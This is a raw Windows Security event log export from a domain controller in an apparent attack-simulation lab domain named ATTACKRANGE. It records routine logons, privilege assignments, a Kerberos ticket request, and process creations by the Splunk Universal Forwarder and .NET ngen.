Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC20F1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:00:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254190
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:00:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254191
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:00:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254192
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1080
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:00:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254193
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x450
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:00:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254195
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x138c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:00:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254194
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:00:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254196
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:00:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254199
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC5765

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:00:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254198
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC5765
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62414

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:00:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254197
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC5765

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:01:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254200
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x924
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254201
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x880
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254202
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254203
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254205
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254204
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc9c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254206
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc4c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254209
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC823F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62421

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:01:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254208
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC823F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:01:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=254207
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{C4E16412-F02C-F1C9-A975-5277599BDD16}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 12:01:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254221
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1278
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe" ExecuteQueuedItems /LegacyServiceBehavior

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

